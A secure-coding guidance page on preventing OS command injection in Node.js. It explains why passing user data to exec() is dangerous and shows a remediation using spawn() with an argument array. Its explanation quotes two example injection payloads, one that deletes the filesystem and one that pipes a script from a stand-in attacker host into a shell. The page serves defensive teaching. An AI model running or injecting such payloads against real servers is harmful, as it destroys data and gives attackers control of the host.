Command injection prevention
Why it matters
Command injection (CWE-78, OWASP A03 Injection) occurs when user-controlled data is passed to exec() or execSync() as part of a shell command string. The shell interprets semicolons, pipes, backticks, and subshell syntax — an attacker can append ; rm -rf / or ; curl attacker.com | sh. NIST 800-53 SI-10 requires input validation before shell execution. Image processors, PDF converters, and video transcoders are common vectors because they wrap command-line tools. The fix is categorical: use spawn() with an argument array (which bypasses the shell entirely) rather than exec() with a string.
Severity rationale
Medium because command injection requires a shell execution feature and typically an upload or conversion endpoint, but exploitation achieves arbitrary OS command execution on the server.
Remediation
Replace exec() string calls with spawn() argument arrays — this completely prevents shell interpretation of user data:
import { spawn } from 'child_process'
// Unsafe — shell interprets the full string:
// exec(`convert ${userFilename} -resize 800x output.jpg`)
// Safe — arguments passed as array, no shell:
const proc = spawn('convert', [userFilename, '-resize', '800x', 'output.jpg'], {
stdio: ['ignore', 'pipe', 'pipe'],
timeout: 30_000,
})
await new Promise<void>((resolve, reject) => {
proc.on('close', code => code === 0 ? resolve() : reject(new Error(`convert exited ${code}`)))
})
If the third-party library forces exec, sanitize with shell-quote before passing user input. Prefer managed API services (Cloudinary, AWS Lambda) for media processing to eliminate shell execution entirely.
DetectionPro
The detection method for this pattern is part of AuditBuffet Pro.
The full method (what to look for, pass and fail conditions, and how results get reported) ships inside the Security Hardening Audit. The pattern definition, severity rationale, and remediation remain openly licensed under CC-BY-4.0.
External references
- cwe · CWE-78 — OS Command Injection
- owasp:2021 · A03 — Injection
- nist:rev5 · SI-10 — Information Input Validation
Taxons
History
- 2026-04-18·v1.0.0·Initial import from security-hardening·automated